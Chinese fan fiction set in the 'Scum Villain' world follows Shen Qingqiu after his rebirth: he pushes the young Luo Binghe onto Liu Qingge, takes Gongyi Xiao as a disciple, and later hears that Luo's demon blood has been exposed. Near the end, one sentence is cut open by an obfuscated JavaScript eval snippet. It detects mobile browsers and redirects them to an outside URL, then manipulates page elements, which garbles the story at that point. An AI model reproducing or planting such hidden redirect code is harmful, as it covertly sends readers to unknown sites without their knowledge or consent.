“我瞎不瞎不知道,但是你手上的孩子可是货真价实!若不是你的风流债,还能是你突发奇想,捡的不成?” “你!”沈清秋气的一脚踹在板凳上,随手把孩子推给柳清歌,又从袖子里摸出信封拍在桌子上,让柳清歌自己看。 而沈清秋自己,快速换到大厅另一角、几乎对角线的另一个桌子上,喊小二过来上菜。 其厌恶与“不与同道”之情,溢于言表。 柳清歌看着手中尚未满月的婴孩,手足无措的抱起来:沈清秋这个小人,竟然直接塞在了他怀里!若不是柳清歌反应快,孩子说不定都掉地上了! 那一瞬间,柳清歌觉得沈清秋就像是被始乱终弃的女娇娘。过来给辜负自己的人送来婴儿,又不愿多见,快速远离那个薄情郎。 柳清歌被自己的联想深深恶寒了一下,忍不住打了个寒碜: 沈清秋是美娇娘?名字虽然可以这么理解,但一定要想好要 承受那个卑鄙无耻的阴险小人所用的下作手段! 那个家伙,小肚鸡肠、心肠歹毒、金玉其外、败絮其中,暗地里偷袭挖坑、无所不为,跟他出门,还不如自己单刷来的安全! 属于完全不能将后背交给他,还得担心队友给你来两刀的那种累赘! 柳清歌手忙脚乱的将孩子抱好,将桌上的信封拆开阅读。 很明显,这是一封托孤信。 只是…… 柳清歌有点疑惑: 按照这个孩子的衣着和被褥,再加上信中提及的“千两白银”与“有缘会找”,怎么看也不像是走投无路、只能抛弃的样子啊? 难道是一时被困,有什么突发情况? 这种状况也是存在的,比如仇人上门、朝廷查抄,或者是天灾人祸,都是有可能的。 但是,柳清歌与沈清秋的想法一致: 是什么样的麻烦,能让一个母亲不交给放心的侍女或嬷嬷,却要让他随便流落在外? 而且,曾经“期待”,现在“不被喜爱”,难道是偷情产物? 若是这样,十有八九是男方始乱终弃或突逢大变,女方家里也不同意留下这个孩子,指不定还打算趁女方不备,直接弄死。 这样一来,孩子会被沈清秋捡到,也是正常了。 柳清歌带着孩子到沈清秋对面坐下,看着点了一桌子却没动几口,一脸吃饱喝足悠哉喝茶的沈清秋,艰难的按了按头上暴起的青筋: “沈清秋,你打算怎么处理这个孩子?” 老神在的沈清秋抬眼看了下柳清歌,怀里的孩子:嗯,比自己抱着的时候强多了,起码不哭不闹。 “不怎么样。” “那你是打算怎么办?” “我说了啊,没想法。” “那你还交给我?” “对啊”沈清秋突然退离数十步,靠在窗户旁,两手空空、一副无赖样:“那不是交给你了嘛~” “你!” “不必谢我,”沈清秋看着发怒的柳清歌,手上发力,帅气的跳下二楼: “劳柳首席替沈某付个饭钱~沈某就先行一步了~” ——沈九重生—— 沈清秋睁开眼睛的时候,入目是青色围帐,耳边是岳清源喋喋不休的问询,手腕上还系着一根银线,对面是在悬丝诊脉的木清芳。 “你醒了?感觉怎么样?” 岳清源的声音忠厚老实,却略带稚嫩的生涩,像是忽然被推上高位、不堪政务的年轻掌权人。 “什么时候了?”沈清秋用另一只手揉了揉太阳穴,试图平复有些胀痛的脑袋。 他记得…… 不对。自己明明死于洛冰河所设的地牢中,怎么会出现在清静峰的床榻上? 而且,沈清秋看着自己完好的手掌,又眯着眼睛仔细辨认眼前的岳清源和木清芳。 周围的环境天衣无缝,面前的两人也举动正常,看不出来任何破绽。 就连岳清源对自己的态度,和木清芳眼中的震惊与疑惑,都是那么的浑然天成,找不到半丝''卡顿''。 是自己回来了? 还是……洛冰河那个畜生的梦魇之术更为精进了? “现在?下午?”岳清源看着“面目不善”的沈清秋,疑惑的回复。片刻后,他又迟疑的问道: “小…”看见沈清秋赫然凶狠的眼神,立刻转变称呼:“清秋师弟,你感觉可好些了?” “……”不知道是不是沈清秋的错觉,他突然觉得眼前的岳清源很伪善,有一种想走又不得不留下的感觉。也可能是……沈清秋的面色太过阴沉,眼神太过恶毒。 “洛冰河在哪?”沈清秋不想纠结别的问题,只想把洛冰河弄死。或者,把洛冰河的梦境破了。 “洛冰河……在柳清歌那里……”岳清源小心翼翼的看了眼沈清秋,缓缓解释道: “你对洛冰河不喜,柳清歌就带他走了。不过冰河好像更喜欢与你在一起,他哭着吵着,最后还想与你侍疾,被柳清歌扛回去了。” 沈清秋听到“柳清歌”眼神一缩,又听到“洛冰河哭着吵着”,瞳孔放大,震惊的看着岳清源: “你说,”沈清秋重复道:“洛冰河哭着吵着与我侍疾?” “啊……对。” “还被柳清歌打包扛走了?” “呃,是的。” “!!!”沈清秋一整个大震惊,脸上五味杂陈,复杂的快成调色盘了:“什么情况?” “呃……”岳清源与旁边快成背景板的木清芳对视一眼,两人都有些一言难尽。 “……”看着两张写满了“你说呢”的脸,沈清秋突然觉得这件事情还是自己去调查一下吧。 “师尊~” 门口突然传来尖锐的叫声。 还,隐约带些熟悉。 随着“划拉”的声音,五六岁的奶包子洛冰河出现在众人面前。 他的后面,还跟着一脸臭屁的柳清歌。 “???”沈清秋看着幼年版洛冰河,外加活生生还稍显年轻的柳清歌,突然觉得眼前一黑,又晕了过去。 ———— 再次睁眼的时候,幼年版洛冰河守在沈清秋身旁。沈清秋看着脸圆乎乎,眼睛瞪着大大的洛冰河,心中猛的一惊。 无他,洛冰河的天赋能力可使他随意变换大小。沈清秋在地牢的时候,也曾被引入洛冰河梦中,被他用这副“无辜”“幼态”的表情给戏弄。 沈清秋心中掀起狂澜,面上却波澜不惊: “说吧,这次想玩什么花样?” 沈清秋认定了自己又被卷入洛冰河梦境中,至于自己记忆里的“已死去”,说不定是洛冰河给自己创造的另一个幻境。当然,也可能是强行招魂续命,反正都世界之主了,这些都是小意思。 “师尊~”小洛冰河用手推着沈清秋的胳膊,眼里全是依恋。 “呵。”沈清秋看着“故作柔情”的洛冰河,心中只想笑:“这次改想法了啊,居然想用卖萌降低我的戒心,是想让我知道信任你有多惨吗?” “师尊~我们去山下玩好不好?听柳师叔说,山下有很多人,还有很多美食和漂亮衣服,我们一起去看看好不好?” “不好。”沈清秋想也不想就拒绝。想引他去人群里?怎么,是想再次当众揭露他有多恶毒,让沈清秋再次于人群中身败名裂吗?” “那我们去灵犀洞怎么样?听说里面百转千回,曲径通幽,是个纳凉、探险的好去处!” “不好。”怎么,是想让他回忆一下,怎么在灵犀洞,失手杀了柳清歌? “那我们去千草峰好不好?听说那边有好多漂亮的花花草草,还有很多不同味道、很有意思的果子~” “不好。”怎么,是打算给他安什么“盗窃极品仙草(果)”或破坏灵树,火烧千草峰的罪名吗? “那我们去万剑峰怎么样?听说那边有好多灵剑,我也想要一把属于自己的本命灵剑!” “不好。”你的心魔剑是不能用还是咋滴,居然惦记起苍穹山派的资源? “那我们去百战峰嘛~百战峰的师兄弟们老是说你坏话,我还打不过他们。” 洛冰河突然神情黯淡,眼睛里装满了委屈。 “呵。打不过就去练,自己废,还想引得我过去。是想让柳清歌说我以大欺小,好与柳清歌再打一次?” “师尊~” 洛冰河抱着沈清秋的胳膊,眼睛里盛满了泪光。他把鞋子一甩,径自钻入被窝中,抱着沈清秋的脖子:“师尊~我们出去玩嘛~山上好无聊~” “滚!” 沈清秋看着洛冰河极其迅速的脱鞋,又看着他钻入自己被子里,身体僵硬的跟死人一样: 洛冰河!你TM后宫不够你睡的!你怎么敢! “不嘛~不嘛~”小洛冰河抱着沈清秋的脖子撒娇:“山上好无聊啊。岳师伯说他有好多政务要忙、柳师叔要去打架,木师叔还要炼丹,他们都不陪我玩~” “洛!冰!河!”沈清秋的身体终于能动了,他想也不想的就把洛冰河拽出来,扔出去,又顺手布了个结界。虽然不一定能抵挡洛冰河进来,但是能给沈清秋心理安慰。 奇怪的是,洛冰河真的没进来。 “?”不应该啊。沈清秋疑惑的看了眼门外,确认洛冰河真的“没进来”。 不管是真的进不来,还是怀着猫玩老鼠的戏弄心思不想进。此时此刻,空荡荡的竹屋,给了沈清秋极大的安全感。 从睁眼,沈清秋的面前就有“万箭穿心而死岳清源”和“治病工具人木清芳”,后面又来了“幼年版洛冰河”及“青年版柳清歌”。 后面虽然只剩“幼年版洛冰河”,但是这狗东西胆大包天,不仅想引诱自己去旁处“制造罪名”,甚至还敢上自己的床,掀自己的被子,和自己躺在一起! 实在是,欺师妄上!罔顾人伦! 若不是常年的“折磨”,沈清秋会在他脱鞋的一瞬间要他的性命! 可恨的是,由于洛冰河常年的折辱刑罚,沈清秋竟然被一个几岁的孩子吓得浑身僵硬,手脚不听使唤…… 更是在小洛冰河抱住他脖子的一瞬间,感觉呼吸困难,仿佛立马就要脑袋搬家、头身分离! ———— 沈清秋经过了一系列的测试,最后终于确认: 自己回来了,回到了自己刚成清静峰峰主,岳清源刚成为苍穹山派掌门的时侯。 至于契机,大概是自己这个心量狭小的小人,因看不惯岳清源登临掌门,所以心有抑郁,修炼走火入魔。 并且,命运很神奇的,令年轻的自己,在与一次柳清歌的任务后,捡到了婴儿洛冰河。 阴魂不散! 沈清秋心中只有这句话。 自己重生,一定不会收洛冰河,所以天道干脆让自己没重生前捡到他,甚至还让“正义爆棚”的柳清歌带回了苍穹山派,交给了上任清静峰峰主! 绝望啊…… 清静峰峰主觉得自己“已经成为了真正的谦谦君子”,所以替自己收徒,平日里由他教养…… 更甚至于,柳清歌觉得自己也算是“见证人”,还时不时跑过来,对洛冰河指手画脚,没事嫌弃一下自己的养娃能力…… 更重要的是。 上任苍穹山派峰主们。集体退休,一起游历,洛冰河这个烫手山芋,就交到了沈清秋和柳清歌手上!!! 太可恶了。太离谱了。 太tm逆天了!!! 天道,你丫的是不是看不惯我!让我重生,还要带个这玩意!!! 好的,事情是理顺了,同样,抑郁是更严重了!现在不仅是抑郁,还加上了狂躁,专业名词:躁郁症。又称双向情感障碍。 反正,沈清秋是不可能对“洛冰河”这种生物有好脸色的。哪怕他现在天真活泼,看起来一点危害也没有。 但是吧。说不定,在柳清歌的“强武力纠正下”,能扳正他的性子,做一个修真界对魔界的好工具?(譬如《狐妖小红娘》里面的道门兵人——王权富贵) 嗯。怎么说呢,虽然沈清秋对于洛冰河那是一点好印象也没有,但是经历了“上一世”。 别说有天魔之血加成弄不死他,就算是洛冰河什么也不干,沈清秋也很难举起对洛冰河的刀剑。 毕竟。创伤后遗症,可不是那么容易好的。 即使沈清秋表现的多么“理直气壮”、“面无表情”、“风轻云淡”,对洛冰河的忌惮和恐惧,是真的刻在骨子里的! 反观柳清歌,由于早早下线,对于“洛冰河”的态度一直是“沈清秋你TM毁了一个好苗子”。今世又差不多从小养起,拥有极深的感情基础。 所以说。把洛冰河扔给柳清歌,真是从之前(婴儿交给柳清歌)到现在(幼儿让柳清歌养),都是最好的处理方式! 嗯。挺好的,若不是清静峰峰主“横插一脚”,洛冰河甚至都不会对自己喊“师尊”!说不定……洛冰河就改拜入百战峰去了? 不过现在也没差啊,都是柳清歌在养~ 柳清歌工具人实锤了。 对此,沈清秋表示:劳资现在就要下山历练,我就不信,五六岁的小娃娃,柳清歌舍得放他与自己一道! 柳清歌,你天天挑战这个挑战那个,多无趣啊。就让我送你个天才,让你体验养娃的乐趣,收敛一下你那英勇无畏的锐气吧~ ——三年后—— 离开苍穹山派之后,沈清秋的日子过得很是舒爽: 背靠大派,随便找个苍穹山派的后援点,支银钱、资源,都是轻轻松松,完全不需要自己考虑。至于安定峰那边怎么搞,那是他们的事情~ 甚至于,沈清秋还在外面把公仪萧给救了——挺俗套的故事,年轻公子拜入师门之前与人闹矛盾,被人暗地里套麻袋。 哎~年轻人,就是火气大。 争辩赢的得了名和面子,争辩输的自然要找人发泄。况且输的那方人多势众,傍晚找个无人巷子偷偷套麻袋打一顿,难道当事人还能找回来不曾? 反正打人的没有“自报家门”,套了麻袋也没被人看到脸,私底下打一顿,总好过之后拜师对上,或者一直被人惦记着。 所以,被“救起”的公仪萧,很是风度翩翩的对沈清秋行礼致谢: “我叫公仪萧,感谢叔叔对我的救命之恩!” 沈清秋对公仪萧的态度还算不错。当年洛冰河当众举证,和他后宫之一的秋海棠一起“揭穿沈清秋假君子外皮”。 众人皆是人云亦云,连苍穹山派百战峰的一些弟子都愤愤不平:“就是他!就是他害死了我们师尊柳清歌!” 而身为幻花宫首席、下一任掌门人的公仪萧,却是第一个提出异议: “结果如此,可有时光回溯查看一二?亦或是现场可曾有斗争痕迹?柳清歌是苍穹山派武力第一人,沈清秋要如何才能偷袭成功并致他死亡还恰巧被人发现?” 可惜。虽然公仪萧极力为“公道“发声,却还是寡不敌众,落于下风。 再加上沈清秋自身也不想解释什么,就干脆默认,浪费了公仪萧的一番''据理力争''。 没想到此次偶遇,沈清秋发现这家伙真的是“根正苗红”,从小就嫉恶如仇,还能言善辩,条条引据经典,把对方说的小脸通红,令周围群众听的大呼精彩,赞其为“英雄出少年”。 沈清秋本想救下人后就护送他去幻花宫:人家本身的经历就很出彩,沈清秋身边还有个洛冰河没解决,他这一世连明帆、宁樱樱都不想收,完全没打算再牵扯任何人。 但是吧,天有不测风云,人有旦夕祸福。沈清秋,因水土不服,困于梦魇,生病了! 就挺离谱的。 沈清秋自游历江湖后,对于修炼一事早已看淡:上辈子那么追逐,依旧没办法寸进半步,再加上未来的两界尊主就在自己身边,再强能比他厉害? 既然如此,修炼一事,自保、卫道,足以。 但可能是遇到“熟人”的缘故。 沈清秋救下公仪萧的当天,他就莫名其妙的开始做噩梦(前世记忆)。原本距离幻花宫只有两天的路程,硬是因沈清秋的“缠绵病塌”,生生错过。 沈清秋无数次催公仪萧自己上路,可公仪萧秉承君子之风,完全不愿意“离开此时生病的沈清秋、哪怕半天”。 对比于沈清秋展示出来的“仙风道骨”、“君子外壳”,公仪萧年纪虽小,却当真有君子风范! 虽然柳清歌也是大家族里养出来的,可是他痴迷于剑,人情往来完全不在乎,说话也直愣愣的戳人心窝,沈清秋这种“小人”,只想那天狠狠的揍他一顿,打掉他脸上的“高傲”。 但是对于公仪萧这种“真君子”,沈清秋有点……自行惭愧。 论谁,也很难拒绝一个真正阳光温暖、礼貌端方,又处处体贴,该避嫌避嫌、该关心关心的,大好人啊!! 谁能拒绝呢? 反正沈清秋没办法。 要不然他也不会收明帆了。 收明帆的意义,不就是图他办事牢靠、御下有数,还能给予自己崇拜感吗! 尤其是,公仪萧不仅有能力,有品格,还体贴入微,堪比宁樱樱! 当真是一个顶两,完美又全能! 所以。病弱版沈清秋,看着因自己误了幻花宫拜师的公仪萧。认真询问: “你有没有想去苍穹山派的想法?” “啊?正道第一大派?”公仪萧将药剂端给沈清秋:“是有想过的。” 沈清秋看着手上的药碗,微微皱了下眉头,闭上眼睛一口气喝光。 公仪萧的蜜饯立刻跟上,极大的缓解了药汤的苦涩。 贴心! 沈清秋心中只有这个评价。 沈清秋有多挑剔,这个在苍穹山派都是有名的。毕竟文人相轻,所谓读书人,都讲究个情调,尤其是上任清静峰峰主又是以“学识”敲定首席的,所以选出来的“沈清秋”…… 学富五车,才高八斗;博古通今,出口成章。再加上一手极为潇洒的狂草,和能以音律助人修炼的琴技,沈清秋只要把脸摆得“温和有礼”一些,就是清静峰的招牌。 当然,这样的人,是很难伺候的。 而这么难伺候的人,公仪萧都能“手到擒来”、“恰到好处”的相处,不得不说他的情商和处事能力有多高。 这样的弟子,谁能不喜欢呢? 所以。 沈清秋看着公仪萧,诚挚发出邀请: “苍穹山派五年一收徒,正常是要走收徒流程。但也存在先收徒,到时候一起拜师的情况,不知你可有兴趣?” “!”公仪萧看着病弱版沈清秋,原本想随口安抚的话语,变成了:“沈叔你是说!” 沈清秋看着小大人一样的公仪萧(大概八九岁),突然觉得心情很开心。 嗯,能有这样的“活宝”在,沈清秋感觉自己的胸口都没那么沉了,就好像是一下子轻松了不少。 “你可以问下家里大人。自我介绍一下,我叫沈清秋。” “好的好的,我现在去问!” 公仪萧将碗筷收拾好,身后的仆人陪同他一起出门。转身关门前,公仪萧的仆人对沈清秋遥遥拱手,似是感激。 没一会,公仪萧带着一精壮汉子前来。 壮汉自称公仪毅,说自己是公仪家的家生子,这次本是陪同少爷前来幻花宫拜师学艺。原本还在因沈清秋耽误少爷拜师而不愿见客,现在慌忙过来赔礼,希望沈清秋不要介意。 沈清秋摆摆手,表示自己无所谓。 之前他也一直催公仪萧前去拜师,可他人虽小,主意却大,不仅一日三餐的照顾自己。连对沈清秋“略有微词”的家生子''长辈'',也弹压的死死的。 若不是公仪毅说出来,沈清秋虽有猜测,却也是见不到人的。 由此更是体现了公仪萧的能力。 至此,公仪萧正式拜入沈清秋名下,成为他除了洛冰河外的,第二个弟子。 ——一年后—— 沈清秋带公仪萧回苍穹山派报道。 站在十二峰清静峰的位置上,看新一代考核的弟子。 “呃,苍穹山派考验人才的方式,竟是如此独特吗?” 公仪萧看着下面的一堆萝卜挖坑,表示自己有点难以理解。 对此,沈清秋摇着折扇,面无表情。 “嗯。” 公仪萧看着面色冷淡的沈清秋,努力找借口: “emmmm,别看他只是挖坑,但是他可以考虑挖坑人的毅力和品行,还有一定的人生魄力……” 沈清秋看着艰难想词的公仪萧,用折扇拍了一下他的脑袋: “好了。看吧。” 这次拜师大典。沈清秋谁也没收。 明帆入了岳清源的穹顶峰,宁樱樱入了齐清萋的仙姝峰,其他诸人,也都有了自己的归属。 事情结束,沈清秋带着公仪萧直接走人,完全无视在自己身后''欲语还休''欲言又止''的岳清源。 沈清秋带公仪萧回清静峰,刚跟他指了一下弟子居所,腿就被人抱上了。 沈清秋低头…… 身体僵硬。动不了了。 洛冰河!他怎么会过来! 沈清秋整个人充满了抗拒,却又在不知名的力量下,硬的像是死掉了不知道多少年的僵尸…… 公仪萧看着突然不对劲的沈清秋和不知从哪窜出来的小孩,尽力缓解着尴尬: “师尊,这是那个峰的师弟啊?给弟子介绍一下呗。” 与此同时,抱着沈清秋大腿的洛冰河也开口了: “师尊~你总算回来了~” 嗯。一种三角恋的赶脚。 当然。此刻的沈清秋…… 内心极度怨恨柳清歌! 柳清歌他为什么没把洛冰河看好!!! 简直崩溃! 他就像是瞒着正妻出去玩了几年,还收了们小妾的浪荡子,现在要面对正妻了…… 啊,怎么办,怎么办,沈清秋很想当场就跑…… 可是,该死的,身体僵硬,完全动不了啊!甚至连开口说话,都有点勉强…… 这大概,就叫“社死”吧。 ———— 沈清秋带公仪萧回来,真的不是要制衡洛冰河! 他只是打算回来完成一下流程,也好将来公仪萧行走江湖的时候,有个说的出去的身份。 毕竟是自己耽误了他的拜师学艺,变相的影响了他的人生轨迹,总是要做出一定补偿的。 只是吧……为什么洛冰河会出现?! 他不是应该在百战峰每天练剑、打架吗? 柳清歌呢!柳清歌为什么还没把他带回去?! 僵硬成死尸的沈清秋,看着抱着自己大腿的洛冰河,实在是接受不了、无助极了。 此时的他,万分想念柳清歌。 但现实是,他要处理洛冰河,还得让人带公仪萧去认一下清静峰的地方。 而,他名下——只有一个老峰主代收的,洛冰河。 ‘想念明帆的一天。’ 沈清秋绝望的想。 “咳咳,”沈清秋努力抽了抽自己的衣袖和裤腿,拽不动…… “那个,冰河啊,这个是我刚收入门的弟子,叫公仪萧。他年纪上比你小一点,顺序上还比你晚入门,你要照顾好他啊。” 沈清秋果断祸水东引。公仪萧,虽然对不起你,但是我真的很想逃离!心法也好、修炼资源也罢,以后我会补偿你的! 可惜,洛冰河不吃那套。 洛冰河拽着沈清秋的大腿,泪眼汪汪:“师尊难得回来一次,还带个新弟子。弟子入门这么久,都没有好好与师尊聊聊天,就连修炼也是柳师叔教导的。” “师尊,你是不是不喜欢我啊。呜呜呜……” “……”沈清秋真的很想回答:‘对,我就是很不喜欢甚至厌恶你,甚至还想弄死你!’可是……沈清秋不敢…… —— 太难了,身为亲自领教过洛冰河手段的人,他好不容易重生,还拥有苍穹山派做底蕴。 再加上前段时间快乐的在凡尘游历,有资源、有武力,想干啥干啥,还收了个贴心正直、自带公仪家资源的公仪萧,简直不要太舒服啊! 这样美好的人生,沈清秋不想失去啊! 若是没体验过也就罢了,可是沈清秋上辈子已经够悲惨和失败,这辈子就想放浪于形骸之外,过潇洒自由的享乐人生,怎么了? 他都已经认定了洛冰河“天道宠儿”的身份,也确认了自己修为难以进展,更逃不过“洛冰河”这个魔障。 他都躺平任嘲了,洛冰河你还想干嘛啊!逃避虽然可耻但有用啊! 总不能指望一个上辈子坑了你,你也反报复我的家伙,咱们俩还能心平气和的一起聊聊天,说什么“相逢一笑泯恩仇”吧? 拜托,对于童年抛弃誓言的岳七,和后面被你万剑穿心的岳清源,我都没办法好好的和他一起喝茶诶! 沈(九)清秋看见这样“有矛盾”的岳(七)清源,都恨不得与他一句话不说就走。 总不能,和有“前世之仇”的家伙,能有什么更为亲密的关系吧? 上辈子收徒就已经很难受了,这辈子过来就是自己弟子,沈清秋当场就被气晕了好吧! 可是……现在的事实是…… 怎么处理抱着自己腿的洛冰河! 沈清秋又一次问候柳清歌全家。 —— “冰河啊。”沈清秋努力挂起微笑: “我怎么会''不喜欢''你呢?”‘是非常不喜欢啊啊啊啊’ 洛冰河抬头看向沈清秋:“可是师尊自昏迷醒来后,一走四年,要不是这次收徒大会,师尊是不是没打算回来?” “呃……”沈清秋肯定是想立刻离开的啊!但是话肯定不能这么说……所以…… “怎么会呢,只是柳清歌是咱们苍穹山派武功最厉害的人,冰河也想拥有柳清歌那样高深的修为和极致的武力吧?” 沈清秋一点也不想夸奖柳清歌,一点也不!甚至还在疯狂问候他的家长。 但是现在还是要努力吹柳清歌的彩虹屁: “柳清歌不仅在山上带领众人修炼武艺,还经常出门除妖卫道、扬我声威。为人也严肃守礼、持正不阿,是个非常值得学习的榜样。” “可是……”洛冰河开始迟疑:“师尊才是我的师尊啊,哪有不找自己师尊,天天在师叔那里的道理?” “并没有呀。”沈清秋压住跳动的眼皮和颤抖的心,努力忽悠: “三人行、必有我师。择其善者而从之,其不善者而改之。柳清歌武力很强,对于修炼也颇有心得,所以多与他交流接触,是非常重要的。” “柳清歌的为人风评也极为不错,为师希望你能成为像柳清歌那样刚正不阿、维护正道的人。” “冰河,修真界并不如所看到的那般安宁。无论是凡人间的争强斗狠,还是各地莫名出现的妖魔鬼怪,亦或是在另一个世界蠢蠢欲动、意欲攻入修真界的魔族,都是我们的敌人。” “而维护世间正道,是需要强横的武力才行的。” 沈清秋忍着厌恶摸了摸洛冰河的头顶,语重心长的想忽悠他去找柳清歌: “为师年幼时根基被毁,修至金丹后,修为停滞不前,更高深的武功和修炼心得没法教你。为师也舍不得你,但是我要对你的未来负责啊!” 嗯。很好。 洛冰河被沈清秋的''真情流露''+''实情卖惨'',忽悠的一愣一愣的。不仅没有计较沈清秋一走那么多年,还被他说的眼含热泪: “师尊爱我之深,谋之甚远啊。” “……”沈清秋感觉自己可能有点用力过度,但是还是决定要再接再厉: “所以你一定要好好跟你柳师叔学习,将来维护修真界的安全!” “嗯嗯!” 被忽略的公仪萧:“……” ‘师尊的大弟子,看起来,有点憨啊……师尊对口中的''柳清歌'',真的是推崇备至、正义凛然啊。’ “咳,冰河啊。你公仪师弟还在这边等着呢,他刚入清静峰,你带他在周围走一走,认认路,顺便教他一下入门心法。” 沈清秋终于将自己的腿从洛冰河怀里解救出来(被天道宠儿抱大腿,还拽不出来,简直太可怕了),立刻把洛冰河推给公仪萧,让他执行“大师兄”的义务。 ———— 刚搞走了洛冰河。 又来了个岳清源。 ‘md,毁灭吧。’沈清秋无力的想。 “清秋师弟,近些年历练,感觉可好啊?” “很好,感谢掌门师兄关心。” “清秋师弟,你……” 真好,非常配合的沈清秋,成功让岳清源不会了。 “掌门师兄,清秋有一事相求。” “清秋师弟请讲。” 果然,还是找自己要东西、让他处理烂摊子的沈清秋,岳清源更熟悉些。 “清秋外出做任务,为民除害。期间游览名山胜境,观摩山水意境,心中隐有所感。” “清秋之前过于追求境界高低,操之过急,急功近利之心太重,自是落于下乘。” “此次外出,于清秋开阔心境、磨砺性情极为有效。” “故而,清秋准备再次外出。两位弟子,劳烦掌门师兄看护了。” 沈清秋难得和岳清源说这么多话,目的却是为了再次外出。甚至说,要不是为了把公仪萧送到清静峰,沈清秋都不一定回来! 看来,沈清秋是真的想与老峰主一样,早日退休卸任啊。 可苍穹山派上任峰主们才于十年前因魔族至尊天琅君退下,这届峰主距离退休,还远着呢。 思及此,岳清源感叹道: “清秋师弟淡泊名利之心,远超于旁人啊。” “呵呵。”沈清秋不想看岳清源的表情,更不想与他继续接触。说完正事,立刻开始撵人: “掌门师兄政务繁忙,清秋就不多留了。清秋的两位弟子,还劳掌门多看顾一二。” “……”岳清源看着''用完就扔''的沈清秋,好脾气的笑了笑: “清秋师弟,我那边还有些事没忙完,若你下山,记得去各处地点领取资源与任务。” 说罢,岳清源温和一笑,转身走人。 ———— 沈清秋于江湖四处游荡,没事逛一下苍穹山派支点,随便接几个任务,想起来就去领些资源,以示自己还活着。 至于苍穹山派清静峰峰主,嗯,闭关修炼呢~ 反正苍穹山派多沈清秋一个不多,少了说不定他们能更团结友爱,沈清秋自己也在外乐的逍遥,两全其美,多好。 过了几年,沈清秋听说魔族莎华铃入侵苍穹山派穹顶峰,被天才少年洛冰河打得落花流水,还被穹顶峰大弟子明矾狠狠敲了一笔竹杠。 又过了一年多,听说洛冰河打败柳清歌,按理应成为百战峰首席,却因沈清秋不在,拒绝了柳清歌的''传位''。 当然,沈清秋在此之前就收到了传信,他只回了一句“随心即可”。 毕竟,虽然上一世的洛冰河没和柳清歌对打过,但是上一世被自己压制的洛冰河都能成为两界尊主,更何况现在被柳清歌精心教导,享有柳家、公仪两家资源的洛冰河呢。 又是几年时间,十年一次的仙盟再次召开。沈清秋虽然人没到,但是对这件事还是很关注的。 毕竟,这件事在上辈子也算是重大事情。其中弟子死伤不少,洛冰河更是临战爆种,额头的天魔印怕是要暴露于世人了。 上辈子自己虽震惊,却还是存了一丝丝心软,一掌将他拍下无间深渊,算是变相给了他一条生路。 这辈子……柳清歌,会怎么选择? 其实沈清秋还挺好奇的。 一贯嫉恶如仇、善恶分明的柳清歌啊。 当你看到自己精心教养的弟子是魔族血脉,更是魔族中血脉最为纯净的天魔血脉时。你会怎么办呢? 更何况。 洛冰河可是你亲自抱回苍穹山派的啊。 沈清秋对此,真的很期待。 还有洛冰河。 不知,若对你动手的是亲自教养、对你有着养育之恩的柳清歌,洛冰河,你会不会“师尊所赐,百倍奉还?” 对于养你、为你倾尽资源,甚至为你背上''通魔''罪名的苍穹山派,洛冰河,你还会那么轻易灭苍穹山派满门吗? 沈清秋对洛冰河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104851|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的做法,也超级期待呢。 ———— “号外!号外!苍穹山派居然养''魔''自重!” “你听说了吗?原来天魔之血并没有灭绝,苍穹山派的那个少年天才洛冰河,居然是天魔族的人!” “天魔之血不是不死不灭吗?当年好像本来就没弄死,是封印了还是什么的。” “不对吧,魔族天魔之血不是蛮多的?之前听说的是灭了其中一个最强的来着。” “但是苍穹山派不是在那场战役中损失惨重,集体峰主一起卸任换人了吗?那么大的代价,结果却是骗我们的?” “养寇自重,绝对是他们害怕自己的地位不够稳顶,所以故意养的!听说洛冰河才十几岁,早在几年前就能打败柳清歌了!” “不是吧?我听说洛冰河是清静峰的啊。清静峰不是不重武力吗?” “诶,这你就不懂了,听说这洛冰河是柳清歌亲自抱到苍穹山派,虽拜入清静峰,但却平日里是柳清歌养的!” “那那个,清静峰峰主沈清秋呢?他不是清静峰的人吗?就看着自己弟子被柳清歌夺走?” “嗨,柳清歌的修为谁不知道,沈清秋就算想拦,也完全打不过啊!” “说得对,啥名门正派,还不是拳头大才是道理,按我说啊,那沈清秋这么久没听到过消息,说不定,诶~” “……”世间最可怕的,就是流言和人心。这一点,沈清秋亲身体验过。现在……感觉柳清歌,也可以体验体验了。 不过,沈清秋收到来自苍穹山派的传信,岳清源让自己早点回去,避世一段时间。 柳清歌也发传讯,让沈清秋回不去的情况下先自己把脸遮上,在凡尘躲一阵。 至于洛冰河。 听说,他主动下了无间深渊。 原因好像是,魔族有一个天魔之血的漠北君,与洛冰河貌似存在堂兄弟关系。一通忽悠,将洛冰河带入了无间深渊。 不过嘛。沈清秋压根不信。 别人不清楚实情,沈清秋还是知道的。 洛冰河在跌入无间深渊之前,早就遇见一个会使梦魇的魔族,还与他学习了梦魇之术和“如何压制魔族气息”的能力。 具体时间不知,但一定在无间深渊之前。 否则,洛冰河不可能用魔气爆种。 一个从没使用过某项工具的人,危机时刻,是不可能“运用好”那个工具的。 更何况,魔气与真气是完全不同的两种修炼模式。修真界中所谓的“走火入魔”,指的也就是真气乱窜,扰乱正常修行而已。 若是修真界的人用魔族修炼功法,别说入门,连最基础的打坐都得口吐三升鲜血。 对于洛冰河为什么既能修真气又能练魔气,大概,是因为他是人魔混血,也就是——沈清秋上一辈子天天骂的“杂种”吧。 所以。一个知道自己血脉的弟子,混迹在修真界第一大派中,还颇受峰主''喜爱''。 苍穹山派,这波输的不亏。 就是不知,洛冰河,你是怎么想的呢? 柳清歌已经做出了他的回答: 甭管人魔,一起打击敌人的就是朋友。大义面前,其他的都往后放。当然,战斗结束后,该受罚还是要论功过的。 洛冰河。你的回答呢? ———— 五年后,洛冰河风光回归。 苍穹山派再次开山门。 洛冰河镇压魔界,并于无间深渊开辟仙魔两界的稳定通道,制定律法,给予通商权限。 所有闹事之人,无论人魔,第一次警告,第二次及以后,均被百战峰派遣的弟子打杀掉。 所有积怨之人,有准确证据+人证的情况下,可依据律法惩处。 重典之下,开创了难得的和平。 